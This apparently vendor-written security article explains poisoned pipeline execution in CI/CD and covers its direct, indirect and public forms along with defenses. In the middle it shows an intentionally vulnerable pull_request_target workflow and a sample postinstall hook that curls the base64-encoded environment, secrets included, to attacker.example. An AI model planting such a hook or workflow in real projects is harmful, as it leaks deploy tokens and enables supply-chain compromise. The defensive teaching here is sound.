Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

Written by

in

Your build pipeline is the most trusted machine you own. It holds deploy keys, signing certificates, cloud tokens, and the power to push code to production, and it runs whatever script the repo tells it to. Poisoned pipeline execution is what happens when an attacker gets their own code to run inside that machine. They do not need your password or a server exploit. They send a pull request, or edit a script the build already runs, and your CI hands them the secrets it was built to protect.

Why a pipeline is worth so much

A CI/CD runner is not a sandbox. It is a privileged service account with a shell. To do its job it usually holds some mix of the following in environment variables or mounted files:

  • Deploy credentials. Keys that push to production, write to a registry, or update infrastructure.
  • Signing keys. The thing that makes a release look official to everyone downstream.
  • Cloud tokens. Often a short lived OIDC token that the runner exchanges for an AWS, GCP, or Azure role with real permissions.
  • A repo token. On GitHub Actions this is GITHUB_TOKEN, which can read and write repo contents, open releases, and more depending on its scope.

So the prize is not the build. It is everything the build can touch. If attacker code runs in that context, even for one step, it can read every secret in the environment and use every permission the job holds. One curl to an external host and the keys are gone.

The attacker does not break into the pipeline. They get the pipeline to run their code, and the pipeline does the rest with its own credentials.

The three flavors of poisoned pipeline execution

This is a class of bug, not a single trick. It shows up in three shapes that share one root: untrusted input deciding what privileged code runs.

Direct: edit the pipeline file itself

The attacker opens a pull request that changes the workflow definition and adds a step to dump secrets or run their payload. If that change runs with real credentials before anyone reviews it, that is direct poisoning. Letting workflow files be edited and run by lower trust contributors is dangerous on its own.

Indirect: poison a script the pipeline runs

Most builds do not run only the workflow file. They run a Makefile, a test runner, a linter config, or npm lifecycle scripts. An npm postinstall hook runs automatically on npm install. If an attacker controls any of those files, they never touch the pipeline definition. They edit the script, the pipeline runs it as a normal build step, and their code executes with full job permissions. The workflow looks clean. The payload is one layer down.

Public: an untrusted pull request triggers a privileged workflow

This is the most common and the most painful. A public repo accepts pull requests from forks, and you want CI to run on them. The danger is in how. On GitHub Actions the pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets, in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present.

A concrete vulnerable workflow

Here is a small GitHub Actions workflow that looks helpful and leaks everything. It uses pull_request_target, checks out the attacker’s branch, then runs the project’s build, which executes repo scripts.

name: PR build
on:
  pull_request_target:        # runs WITH base repo secrets

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # attacker code
      - run: npm install       # runs attacker's postinstall script
      - run: npm run build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

An attacker opens a pull request from a fork that adds one line to package.json:

{
  "scripts": {
    "postinstall": "curl -s https://attacker.example/x -d \"$(env | base64)\""
  }
}

The workflow checks out their branch, runs npm install, the postinstall hook fires, and the whole environment, including DEPLOY_TOKEN, gets posted to a server they own. They never needed to be a collaborator. They just sent a PR. This is the same supply chain shape as a dependency confusion attack: untrusted code ends up running in a context that trusts it.

How to spot it in your own setup

Look for the dangerous combination, not any single piece. The risk appears when all three are true in one job:

  • The trigger runs with access to secrets or a privileged token (for example pull_request_target).
  • The job checks out or runs untrusted code (a fork’s branch, or an editable repo script).
  • That code runs before a human approves it.

Search your workflows for pull_request_target paired with any checkout of the PR head. Then check builds for repo scripts that run automatically: postinstall, prepare, Makefile targets, test configs. Any of those is where indirect poisoning hides.

Defenses that actually close poisoned pipeline execution

You do not need one big fix. You need a few small rules that each remove a precondition.

  • Do not combine pull_request_target with checkout of PR code and secrets. If you must use it, do not check out the fork’s code in the same job that holds secrets. Use plain pull_request for anything that runs untrusted code, since it has no secrets by default.
  • Require approval for fork workflows. Configure the repo so that workflows from first time or outside contributors only run after a maintainer clicks approve. That removes the automatic run that the public flavor depends on.
  • Give GITHUB_TOKEN the least privilege it needs. Set permissions: read-all at the top, then grant write only to the specific jobs that need it. A read only token is far less useful to an attacker.
  • Pin actions by full commit SHA, not a tag. Use uses: actions/checkout@<sha> instead of @v4. A tag can be moved to point at new code; a SHA cannot. This stops a compromised action from poisoning your build the way a moved tag would.
  • Isolate untrusted builds. Run PR builds on separate runners with no access to production credentials, no network egress to arbitrary hosts, and a clean environment. If a payload runs, it finds nothing worth stealing.
  • Separate plan from privileged apply. For infrastructure, let untrusted PRs run a read only plan with no write credentials. Keep the apply step on a protected branch that only runs after merge and review. The dangerous permission never meets untrusted code.

These map to a single idea: untrusted code and real credentials should never share a job. Keep them apart and most poisoned pipeline execution simply has nowhere to land.

The assumption that breaks

Every pipeline makes a quiet assumption: that the code it runs was written by someone allowed to run it. A fork PR, an npm hook, a moved action tag all break that assumption while the secrets stay in place. The same logic shows up beyond CI, for example in Kubernetes service account token abuse, where a workload trusts a token it should never have reached. The bug is rarely in the tool. It is in who is trusted to decide what runs, and whether the credentials follow that decision. You find this kind of issue by asking what a system trusts and when, not by scanning for known bad strings. As an early signal we find encouraging, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about trust boundaries is exactly what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

Frequently asked questions

What is poisoned pipeline execution?

Poisoned pipeline execution is an attack where someone gets their own code to run inside a CI/CD pipeline that holds secrets and broad permissions. The attacker does not exploit a server or steal a password. They send a pull request, edit a script the build already runs, or change the pipeline file, and the pipeline executes it with its own deploy keys, signing keys, and cloud tokens. One step running attacker code can read every secret in the job environment and use every permission the job holds.

What are the three types of poisoned pipeline execution?

Direct, indirect, and public. Direct means the attacker edits the pipeline definition itself, for example a GitHub Actions workflow file, to add a malicious step. Indirect means they poison a script the pipeline runs but does not define inline, such as a Makefile target, a test config, or an npm postinstall hook. Public means an untrusted pull request from a fork triggers a privileged workflow, which is the most common case, often through the pull_request_target trigger running with repo secrets.

Why is the GitHub Actions pull_request_target trigger dangerous?

The pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present. An attacker opens a PR from a fork, the workflow checks out their branch and runs npm install or a build, and their code executes with full access to the secrets in that job.

How do you prevent poisoned pipeline execution?

Keep untrusted code and real credentials out of the same job. Do not combine pull_request_target with checkout of PR code and secrets, and use plain pull_request for anything that runs untrusted code. Require maintainer approval before fork workflows run. Give GITHUB_TOKEN least privilege, set read only by default and grant write per job. Pin actions by full commit SHA, not a movable tag. Isolate untrusted builds on runners with no production credentials and no arbitrary network egress. For infrastructure, separate a read only plan on PRs from a privileged apply that only runs after merge and review.